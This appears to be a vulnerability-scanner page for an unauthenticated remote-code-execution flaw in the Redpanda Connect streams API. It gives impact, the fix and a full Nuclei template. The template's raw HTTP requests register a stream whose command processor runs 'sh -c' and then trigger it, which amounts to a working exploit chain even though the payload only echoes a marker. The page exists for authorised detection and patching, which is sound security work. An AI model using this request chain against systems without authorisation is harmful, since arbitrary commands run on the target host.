Redpanda Connect Streams API - Unauthenticated Remote Code Execution

criticalseverity

9.8CVSS score

2.4%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

Redpanda Connect 4.39.0 through 4.110.0 exposes an unauthenticated streams management API by default; an attacker can register and trigger a stream containing a command processor.

Impact

An unauthenticated attacker can execute operating system commands with the privileges of the Redpanda Connect process.

Fix

Upgrade to 4.111.0 or later, where the streams management API is disabled by default; bind any enabled API to a trusted interface and require authentication.

How to confirm it

Send: GET {{BaseURL}}/version
Positive when: status_code == 200 and compare_versions(version, ">= 4.39.0", "< 4.111.0")
Send: GET /streams ; POST /streams/{{stream_id}} ; POST /{{stream_id}}/trigger
Positive when: status_code_1 == 200 && status_code_2 == 200 && status_code_3 == 200 and contains(body_3, marker)
Send: DELETE /streams/{{stream_id}}
Positive when: status 200

Run it with nuclei: nuclei -id CVE-2026-123270 -u <target>

The full check

id: CVE-2026-123270

info:
  name: Redpanda Connect Streams API - Unauthenticated Remote Code Execution
  author: pagvac
  severity: critical
  description: |
    Redpanda Connect 4.39.0 through 4.110.0 exposes an unauthenticated streams management API by default; an attacker can register and trigger a stream containing a command processor.
  impact: |
    An unauthenticated attacker can execute operating system commands with the privileges of the Redpanda Connect process.
  remediation: |
    Upgrade to 4.111.0 or later, where the streams management API is disabled by default; bind any enabled API to a trusted interface and require authentication.
  reference:
    - https://www.cve.org/CVERecord?id=CVE-2026-123270
    - https://docs.redpanda.com/connect/guides/streams_mode/about/
    - https://docs.redpanda.com/connect/components/processors/command/
    - https://github.com/pagvac/redpanda-connect-unauth-rce
    - https://nvd.nist.gov/vuln/detail/CVE-2026-123270
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-123270
    epss-score: 0.00644
    epss-percentile: 0.51241
    cwe-id: CWE-306
  metadata:
    verified: true
    max-request: 5
    vendor: redpanda
    product: redpanda-connect
  tags: cve,cve2026,redpanda,benthos,rce,unauth,intrusive,vuln

variables:
  stream_id: '{{rand_base(14, "abcdefghijklmnopqrstuvwxyz")}}'
  marker: 'nucleirce{{rand_base(16, "abcdefghijklmnopqrstuvwxyz0123456789")}}'

flow: |
  if (http(1)) {
    http(2);
    http(3);
  }

http:
  - method: GET
    path:
      - "{{BaseURL}}/version"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'compare_versions(version, ">= 4.39.0", "< 4.111.0")'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        name: version
        group: 1
        regex:
          - '(?i)"version"\s*:\s*"([0-9]+\.[0-9]+(?:\.[0-9]+)?)"'
        internal: true

  - raw:
      - |
        GET /streams HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

      - |
        POST /streams/{{stream_id}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-yaml

        input:
          http_server:
            path: /trigger
        pipeline:
          processors:
            - command:
                name: sh
                args_mapping: 'root = [ "-c", "echo {{marker}}" ]'
        output:
          sync_response: {}

      - |
        POST /{{stream_id}}/trigger HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/plain

        rce

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200 && status_code_2 == 200 && status_code_3 == 200'
          - 'contains(body_3, marker)'
        condition: and

  - raw:
      - |
        DELETE /streams/{{stream_id}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: status
        status:
          - 200
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from